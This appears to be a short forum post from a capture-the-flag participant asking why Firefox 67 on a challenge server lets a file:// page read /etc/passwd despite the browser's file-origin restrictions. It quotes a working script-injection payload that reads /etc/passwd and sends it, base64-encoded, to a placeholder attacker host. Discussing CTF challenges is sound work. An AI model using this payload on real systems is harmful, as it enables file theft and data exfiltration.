I noticed an issue：in FireFox，starting in Gecko 1.9, the file protocol's SOP restricts the files to be read must be in the same directory or in the sub directory

But I just test the challenge server：

```
file:///app/templates/index.html?grey","status":"ok","content":["\"><script>fetch('file:///etc/passwd').then(r=>r.text()).then(data=>fetch('http://IP/'%2Bbtoa(data)))</script>

(The content has been truncated)

It's ok to read /etc/passwd

The FireFox on chanllenge server is version 67，it should ban the request to file:///etc/passwd，so why?